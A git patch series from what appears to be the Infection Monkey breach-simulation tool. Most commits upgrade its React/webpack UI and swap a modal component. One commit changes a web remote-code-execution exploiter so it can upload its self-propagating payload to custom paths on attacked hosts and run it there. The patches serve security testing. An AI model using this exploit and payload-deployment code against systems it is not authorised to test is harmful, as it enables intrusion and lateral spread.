"karma-phantomjs-launcher": "^1.0.0", "karma-sourcemap-loader": "^0.3.5", - "karma-webpack": "^1.7.0", + "karma-webpack": "^3.0.0", "minimist": "^1.2.0", "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", - "react-hot-loader": "^1.2.9", + "react-hot-loader": "^4.3.4", "rimraf": "^2.6.2", - "style-loader": "^0.13.2", - "url-loader": "^0.5.9", - "webpack": "^1.15.0", - "webpack-dev-server": "^1.12.0" + "style-loader": "^0.22.1", + "url-loader": "^1.1.0", + "webpack": "^4.16.5", + "webpack-cli": "^3.1.0", + "webpack-dev-server": "^3.1.5" }, "dependencies": { - "bootstrap": "^3.3.7", - "core-js": "^2.5.5", + "bootstrap": "3.3.7", + "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "js-file-download": "^0.4.1", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", - "moment": "^2.22.1", - "normalize.css": "^4.0.0", - "npm": "^5.8.0", - "prop-types": "^15.6.1", + "moment": "^2.22.2", + "normalize.css": "^8.0.0", + "npm": "^6.3.0", + "prop-types": "^15.6.2", "rc-progress": "^2.2.5", - "react": "^15.6.2", - "react-bootstrap": "^0.31.5", + "react": "^16.4.2", + "react-bootstrap": "^0.32.1", "react-copy-to-clipboard": "^5.0.1", "react-data-components": "^1.2.0", "react-dimensions": "^1.3.0", - "react-dom": "^15.6.2", - "react-fa": "^4.2.0", - "react-graph-vis": "^0.1.4", - "react-json-tree": "^0.10.9", - "react-jsonschema-form": "^0.50.1", + "react-dom": "^16.4.2", + "react-fa": "^5.0.0", + "react-graph-vis": "^1.0.2", + "react-json-tree": "^0.11.0", + "react-jsonschema-form": "^1.0.4", "react-modal-dialog": "^4.0.7", "react-redux": "^5.0.7", - "react-router-dom": "^4.2.2", - "react-table": "^6.7.4", + "react-router-dom": "^4.3.1", + "react-table": "^6.8.6", "react-toggle": "^4.0.1", - "redux": "^3.7.2" + "redux": "^4.0.0" } } diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey_island/cc/ui/src/components/Main.js index 771e2257a..586dd5fdf 100644 --- a/monkey_island/cc/ui/src/components/Main.js +++ b/monkey_island/cc/ui/src/components/Main.js @@ -14,11 +14,11 @@ import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; -require('normalize.css/normalize.css'); -require('react-data-components/css/table-twbs.css'); -require('styles/App.css'); -require('react-toggle/style.css'); -require('react-table/react-table.css'); +import 'normalize.css/normalize.css'; +import 'react-data-components/css/table-twbs.css'; +import 'styles/App.css'; +import 'react-toggle/style.css'; +import 'react-table/react-table.css'; let logoImage = require('../images/monkey-icon.svg'); let infectionMonkeyImage = require('../images/infection-monkey.svg'); diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey_island/cc/ui/src/components/map/MapOptions.js index 701adcf29..94c6a2212 100644 --- a/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -10,9 +10,10 @@ let getGroupsOptions = () => { { shape: 'image', size: 50, - image: require('../../images/nodes/' + groupName + '.png') + image: '../' + require('../../images/nodes/' + groupName + '.png') }; } + return groupOptions; }; diff --git a/monkey_island/cc/ui/src/index.html b/monkey_island/cc/ui/src/index.html index 86a05dd28..3e7028fc1 100644 --- a/monkey_island/cc/ui/src/index.html +++ b/monkey_island/cc/ui/src/index.html @@ -8,9 +8,6 @@ -
    Loading...
    - - - +
    diff --git a/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey_island/cc/ui/src/server_config/ServerConfig.js index faff47abc..a291bd6e6 100644 --- a/monkey_island/cc/ui/src/server_config/ServerConfig.js +++ b/monkey_island/cc/ui/src/server_config/ServerConfig.js @@ -1,7 +1,7 @@ import StandardConfig from './StandardConfig'; import AwsConfig from './AwsConfig'; -const SERVER_CONFIG_JSON = require('json-loader!../../../server_config.json'); +const SERVER_CONFIG_JSON = require('../../../server_config.json'); const CONFIG_DICT = { diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey_island/cc/ui/webpack.config.js index 6b6a93914..7e84c50e1 100644 --- a/monkey_island/cc/ui/webpack.config.js +++ b/monkey_island/cc/ui/webpack.config.js @@ -1,32 +1,70 @@ -'use strict'; - const path = require('path'); -const args = require('minimist')(process.argv.slice(2)); +const HtmlWebPackPlugin = require("html-webpack-plugin"); -// List of allowed environments -const allowedEnvs = ['dev', 'dist', 'test']; - -// Set the correct environment -let env; -if (args._.length > 0 && args._.indexOf('start') !== -1) { - env = 'test'; -} else if (args.env) { - env = args.env; -} else { - env = 'dev'; -} -process.env.REACT_WEBPACK_ENV = env; - -/** - * Build the webpack configuration - * @param {String} wantedEnv The wanted environment - * @return {Object} Webpack config - */ -function buildConfig(wantedEnv) { - let isValid = wantedEnv && wantedEnv.length > 0 && allowedEnvs.indexOf(wantedEnv) !== -1; - let validEnv = isValid ? wantedEnv : 'dev'; - let config = require(path.join(__dirname, 'cfg/' + validEnv)); - return config; -} - -module.exports = buildConfig(env); +module.exports = { + module: { + rules: [ + { + test: /\.js$/, + exclude: /node_modules/, + use: { + loader: "babel-loader" + } + }, + { + test: /\.css$/, + use: [ + 'style-loader', + 'css-loader' + ] + }, + { + test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, + use: { + loader: 'file-loader' + } + }, + { + test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, + use: { + loader: 'url-loader?limit=10000&mimetype=application/font-woff' + } + }, + { + test: /\.(png|jpg|gif)$/, + use: { + loader: 'url-loader?limit=8192' + } + }, + { + test: /\.html$/, + use: [ + { + loader: "html-loader" + } + ] + } + ] + }, + plugins: [ + new HtmlWebPackPlugin({ + template: "./src/index.html", + filename: "./index.html" + }) + ], + resolve: { + extensions: ['.js', '.jsx', '.css'], + modules: [ + 'node_modules', + path.resolve(__dirname, 'src/') + ] + }, + devServer: { + proxy: { + '/api': { + target: 'https://localhost:5000', + secure: false + } + } + } +}; From b8dd37c5df26fcf0aa4afb4462c38a1e8511918f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 17:08:34 +0300 Subject: [PATCH 074/137] Temprarily comment out broken component --- monkey_island/cc/ui/src/components/pages/MapPage.js | 6 +++++- monkey_island/cc/ui/src/components/pages/StartOverPage.js | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index b4780e6cf..b9d069c3d 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -4,7 +4,7 @@ import {Link} from 'react-router-dom'; import {Icon} from 'react-fa'; import PreviewPane from 'components/map/preview-pane/PreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import {ModalContainer, ModalDialog} from 'react-modal-dialog'; +// import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import {options, edgeGroupToColor} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; @@ -102,6 +102,9 @@ class MapPageComponent extends AuthComponent { return
    } + // TODO: uncomment + return
    +/* return ( this.setState({showKillDialog: false})}> this.setState({showKillDialog: false})}> @@ -125,6 +128,7 @@ class MapPageComponent extends AuthComponent { ) + */ }; renderTelemetryEntry(telemetry) { diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey_island/cc/ui/src/components/pages/StartOverPage.js index 87716659f..49016d42a 100644 --- a/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -1,7 +1,7 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {Link} from 'react-router-dom'; -import {ModalContainer, ModalDialog} from 'react-modal-dialog'; +//import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import AuthComponent from '../AuthComponent'; class StartOverPageComponent extends AuthComponent { @@ -31,6 +31,9 @@ class StartOverPageComponent extends AuthComponent { return
    } + // TODO: uncomment + return
    + /* return ( this.setState({showCleanDialog: false})}> this.setState({showCleanDialog: false})}> @@ -63,6 +66,7 @@ class StartOverPageComponent extends AuthComponent { ) + */ }; render() { From a65721d0c56b018d51fb05e196eaa3cf94f5bf9f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 17:09:23 +0300 Subject: [PATCH 075/137] Fix known bug necessary for building --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..5bc50cf90 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -421,7 +421,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    ); From 422df7c71f7aa911e0d1081badff44cf36a2da4e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 18:30:26 +0300 Subject: [PATCH 076/137] Replace deprecated modal component --- monkey_island/cc/ui/package-lock.json | 91 ------------------- monkey_island/cc/ui/package.json | 1 - .../cc/ui/src/components/pages/MapPage.js | 22 ++--- .../ui/src/components/pages/StartOverPage.js | 22 ++--- monkey_island/cc/ui/src/styles/App.css | 4 + 5 files changed, 18 insertions(+), 122 deletions(-) diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 2a31a6543..98ca6d7fd 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -506,22 +506,6 @@ "acorn": "5.7.1" } }, - "active-event-stack": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/active-event-stack/-/active-event-stack-1.0.0.tgz", - "integrity": "sha1-a1uS661xmvrpgs1R9Jw4xbaADFA=", - "requires": { - "immutable": "3.8.2", - "lodash": "3.10.1" - }, - "dependencies": { - "lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha1-W/Rejkm6QYnhfUgnid/RW9FAt7Y=" - } - } - }, "after": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/after/-/after-0.8.2.tgz", @@ -2336,11 +2320,6 @@ "q": "1.5.0" } }, - "bowser": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/bowser/-/bowser-1.9.2.tgz", - "integrity": "sha512-fuiANC1Bqbqa/S4gmvfCt7bGBmNELMsGZj4Wg3PrP6esP66Ttoj1JSlzFlXtHyduMv07kDNmDsX6VsMWT/MLGg==" - }, "brace-expansion": { "version": "1.1.8", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", @@ -3294,14 +3273,6 @@ "randomfill": "1.0.4" } }, - "css-in-js-utils": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/css-in-js-utils/-/css-in-js-utils-2.0.0.tgz", - "integrity": "sha512-yuWmPMD9FLi50Xf3k8W8oO3WM1eVnxEGCldCLyfusQ+CgivFk0s23yst4ooW6tfxMuSa03S6uUEga9UhX6GRrA==", - "requires": { - "hyphenate-style-name": "1.0.2" - } - }, "css-loader": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.0.tgz", @@ -3818,11 +3789,6 @@ } } }, - "dynamics.js": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/dynamics.js/-/dynamics.js-1.1.5.tgz", - "integrity": "sha1-uQvcM2Bc7+ZSuEFucB95v27vzjI=" - }, "ecc-jsbn": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", @@ -7037,11 +7003,6 @@ "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", "dev": true }, - "hyphenate-style-name": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.2.tgz", - "integrity": "sha1-MRYKNpMK2vH8BMYHT360FGXU7Es=" - }, "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", @@ -7080,11 +7041,6 @@ "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, - "immutable": { - "version": "3.8.2", - "resolved": "https://registry.npmjs.org/immutable/-/immutable-3.8.2.tgz", - "integrity": "sha1-wkOZUUVbs5kT2vKBN28VMOEErfM=" - }, "import-local": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/import-local/-/import-local-1.0.0.tgz", @@ -7132,15 +7088,6 @@ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", "dev": true }, - "inline-style-prefixer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/inline-style-prefixer/-/inline-style-prefixer-4.0.0.tgz", - "integrity": "sha1-MKA98bNGumsfuKgSvDydq+9IAi0=", - "requires": { - "bowser": "1.9.2", - "css-in-js-utils": "2.0.0" - } - }, "inquirer": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz", @@ -9569,14 +9516,6 @@ } } }, - "narcissus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/narcissus/-/narcissus-1.0.0.tgz", - "integrity": "sha1-JGKgfEWYzpBl60Gyq72zDQ4w9G4=", - "requires": { - "inline-style-prefixer": "4.0.0" - } - }, "natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", @@ -13571,14 +13510,6 @@ "warning": "3.0.0" } }, - "react-center-component": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/react-center-component/-/react-center-component-3.0.0.tgz", - "integrity": "sha1-0omGv0NOD46/9jyRJ38b9q0YnHI=", - "requires": { - "lodash": "4.17.10" - } - }, "react-copy-to-clipboard": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", @@ -13716,28 +13647,6 @@ "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, - "react-modal-dialog": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/react-modal-dialog/-/react-modal-dialog-4.0.7.tgz", - "integrity": "sha1-OSbaLfqR/wny0xSVSejW7ly62bU=", - "requires": { - "active-event-stack": "1.0.0", - "classnames": "2.2.5", - "dynamics.js": "1.1.5", - "immutable": "3.8.2", - "keycode": "2.1.9", - "lodash": "3.10.1", - "narcissus": "1.0.0", - "react-center-component": "3.0.0" - }, - "dependencies": { - "lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha1-W/Rejkm6QYnhfUgnid/RW9FAt7Y=" - } - } - }, "react-overlays": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 8806854fc..9e1e85f2d 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -86,7 +86,6 @@ "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", "react-jsonschema-form": "^1.0.4", - "react-modal-dialog": "^4.0.7", "react-redux": "^5.0.7", "react-router-dom": "^4.3.1", "react-table": "^6.8.6", diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index b9d069c3d..7720a781d 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -1,10 +1,9 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Col, Modal} from 'react-bootstrap'; import {Link} from 'react-router-dom'; import {Icon} from 'react-fa'; import PreviewPane from 'components/map/preview-pane/PreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -// import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import {options, edgeGroupToColor} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; @@ -98,17 +97,10 @@ class MapPageComponent extends AuthComponent { }; renderKillDialogModal = () => { - if (!this.state.showKillDialog) { - return
    - } - - // TODO: uncomment - return
    -/* return ( - this.setState({showKillDialog: false})}> - this.setState({showKillDialog: false})}> -

    Are you sure you want to kill all monkeys?

    + this.setState({showKillDialog: false})}> + +

    Are you sure you want to kill all monkeys?

    This might take a few moments...

    @@ -125,10 +117,10 @@ class MapPageComponent extends AuthComponent { Cancel
    - - + + ) - */ + }; renderTelemetryEntry(telemetry) { diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey_island/cc/ui/src/components/pages/StartOverPage.js index 49016d42a..c44a5a72f 100644 --- a/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -1,7 +1,6 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Col, Modal} from 'react-bootstrap'; import {Link} from 'react-router-dom'; -//import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import AuthComponent from '../AuthComponent'; class StartOverPageComponent extends AuthComponent { @@ -27,17 +26,10 @@ class StartOverPageComponent extends AuthComponent { }; renderCleanDialogModal = () => { - if (!this.state.showCleanDialog) { - return
    - } - - // TODO: uncomment - return
    - /* return ( - this.setState({showCleanDialog: false})}> - this.setState({showCleanDialog: false})}> -

    Reset environment

    + this.setState({showCleanDialog: false})}> + +

    Reset environment

    Are you sure you want to reset the environment?

    @@ -63,10 +55,10 @@ class StartOverPageComponent extends AuthComponent { Cancel
    - - + + ) - */ + }; render() { diff --git a/monkey_island/cc/ui/src/styles/App.css b/monkey_island/cc/ui/src/styles/App.css index 107c945a2..7f487694c 100644 --- a/monkey_island/cc/ui/src/styles/App.css +++ b/monkey_island/cc/ui/src/styles/App.css @@ -406,6 +406,10 @@ body { padding: 0em; } +.modal-dialog { + top: 30%; +} + /* Print report styling */ @media print { From 5724d14583bbe9ddb3ab30d670bd3a452d0f1fec Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 18:30:51 +0300 Subject: [PATCH 077/137] Fix webpack lookup issue --- monkey_island/cc/ui/src/components/map/MapOptions.js | 2 +- monkey_island/cc/ui/webpack.config.js | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey_island/cc/ui/src/components/map/MapOptions.js index 94c6a2212..1ed40cd34 100644 --- a/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -10,7 +10,7 @@ let getGroupsOptions = () => { { shape: 'image', size: 50, - image: '../' + require('../../images/nodes/' + groupName + '.png') + image: require('../../images/nodes/' + groupName + '.png') }; } diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey_island/cc/ui/webpack.config.js index 7e84c50e1..b6f7d2dfa 100644 --- a/monkey_island/cc/ui/webpack.config.js +++ b/monkey_island/cc/ui/webpack.config.js @@ -59,6 +59,9 @@ module.exports = { path.resolve(__dirname, 'src/') ] }, + output: { + publicPath: '/' + }, devServer: { proxy: { '/api': { From 6e7706f9bff17b64e1f025d774561fc66ddc3049 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 16 Aug 2018 18:55:29 +0300 Subject: [PATCH 078/137] Fix bug which is now critical --- .../src/components/map/preview-pane/PreviewPane.js | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 64b228332..327d77061 100644 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -155,6 +155,14 @@ class PreviewPaneComponent extends AuthComponent { ) } + islandAssetInfo() { + return ( +
    + No info to show +
    + ); + } + assetInfo(asset) { return (
    @@ -244,8 +252,8 @@ class PreviewPaneComponent extends AuthComponent { info = this.scanInfo(this.props.item); break; case 'node': - info = this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); + info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) : + this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo(); break; case 'island_edge': info = this.islandEdgeInfo(); From 5565a8041888bba1c8d722548104446ea85ad9f1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 17 Aug 2018 13:53:09 +0300 Subject: [PATCH 079/137] Web_RCE framework now supports custom monkey uploading paths( we don't always have permissions to uppload to C:\Windows) --- infection_monkey/exploit/web_rce.py | 68 ++++++++++++++++++++++++++--- 1 file changed, 62 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 48a599f5c..c26d4a920 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -17,9 +17,19 @@ LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): - def __init__(self, host): + def __init__(self, host, monkey_target_paths=None): + """ + :param host: Host that we'll attack + :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration + if monkey_target_paths: + self.monkey_target_paths = monkey_target_paths + else: + self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, + 'win32': self._config.dropper_target_path_win_32, + 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist @@ -87,7 +97,7 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update({ service: self.host.services[service] for service in self.host.services if - (self.host.services[service]['name'] in names) + (self.host.services[service] and self.host.services[service]['name'] in names) }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if @@ -205,9 +215,9 @@ class WebRCE(HostExploiter): """ paths = [] if 'linux' in self.host.os['type']: - paths.append(self._config.dropper_target_path_linux) + paths.append(self.monkey_target_paths['linux']) else: - paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) + paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) for path in paths: if self.check_remote_monkey_file(url, path): return True @@ -251,7 +261,7 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) + path = self.get_monkey_upload_path(src_path) if not path: return False # Create server for http download and wait for it's startup. @@ -323,7 +333,11 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + # If dropper is chosen we try to move monkey to default location + default_path = self.custom_to_dropper_path(path) + if default_path is False: + return False + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -346,3 +360,45 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp + + def get_monkey_upload_path(self, url_to_monkey): + """ + Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from self.monkey_target_paths + """ + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return self.monkey_target_paths['linux'] + elif 'windows-32' in url_to_monkey: + return self.monkey_target_paths['win32'] + elif 'windows-64' in url_to_monkey: + return self.monkey_target_paths['win64'] + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False + + def custom_to_dropper_path(self, path): + try: + key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] + except KeyError: + LOG.error("The path you used is not in monkey_target_paths array. Skipping") + return False + if key == 'linux': + return self._config.dropper_target_path_linux + elif key == 'win32': + return self._config.dropper_target_path_win_32 + elif key == 'win64': + return self._config.dropper_target_path_win_64 + else: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") + return False From e3d286dbc006f0b482ffc24bf74b6c958d00fd91 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 18 Aug 2018 13:14:05 +0300 Subject: [PATCH 080/137] Minor bugfix for error handling in new custom monkey destination paths feature --- infection_monkey/exploit/web_rce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c26d4a920..bb4613b1f 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -381,9 +381,9 @@ class WebRCE(HostExploiter): LOG.error("Could not figure out what type of monkey server was trying to upload, " "thus destination path can not be chosen.") return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") + except KeyError: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") return False def custom_to_dropper_path(self, path): From bafa0e42a00ad7079274ccdd8d40cc567e803582 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 21 Aug 2018 11:34:26 +0300 Subject: [PATCH 081/137] Make feature simpler Change config value phrasing --- infection_monkey/config.py | 2 +- infection_monkey/network/network_scanner.py | 10 +++---- monkey_island/cc/services/config.py | 31 ++++++++------------- monkey_island/cc/services/report.py | 2 +- 4 files changed, 18 insertions(+), 27 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 328bbf719..72586a231 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -185,7 +185,7 @@ class Configuration(object): local_network_scan = True subnet_scan_list = ['', ] - inaccessible_subnet_groups = [] + inaccessible_subnets = [] blocked_ips = ['', ] diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 65fd473b3..20133a9a7 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -41,18 +41,18 @@ class NetworkScanner(object): def _get_inaccessible_subnets_ips(self): """ - For each of the machine's IPs, checks if it's in one of the subnet groups specified in the - 'inaccessible_subnet_groups' config value. If so, all other subnets in the same group shouldn't be accessible. + For each of the machine's IPs, checks if it's in one of the subnets specified in the + 'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible. All these subnets are returned. :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. """ subnets_to_scan = [] - for subnet_group in WormConfiguration.inaccessible_subnet_groups: - for subnet_str in subnet_group: + if len(WormConfiguration.inaccessible_subnets) > 1: + for subnet_str in WormConfiguration.inaccessible_subnets: if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): # If machine has IPs from 2 different subnets in the same group, there's no point checking the other # subnet. - for other_subnet_str in subnet_group: + for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 5bddc1901..b00bfe61c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -222,33 +222,24 @@ SCHEMA = { "title": "Network Analysis", "type": "object", "properties": { - "inaccessible_subnet_groups": { - "title": "Inaccessible IP/subnet groups", + "inaccessible_subnets": { + "title": "Network segmentation testing", "type": "array", "uniqueItems": True, "items": { - "type": "array", - "title": "Subnet group", - "items": { - "type": "string" - }, - "minItems": 2, - "uniqueItems": True, - "description": "List of IPs/subnets." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\"," - " \"192.168.0.5/24\"" + "type": "string" }, "default": [ ], "description": - "You can use this feature to test for network segmentation, by proving lists of" - " IP/subnet groups that should not be accessible to each other. Each input group" - " consists of subnets that should not be accessible to each other. If the Monkey" - " is inside of one of the subnets it will attempt to connect to machines in the" - " other subnet." - " Example, by providing input 192.168.1.0/24, 192.168.2.0/24, 192.168.3.1-192.168.3.10," - " a Monkey with the IP address 192.168.2.5 will try to access machines inside" - " 192.168.1.0/24 or 192.168.3.1-192.168.3.10." + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " 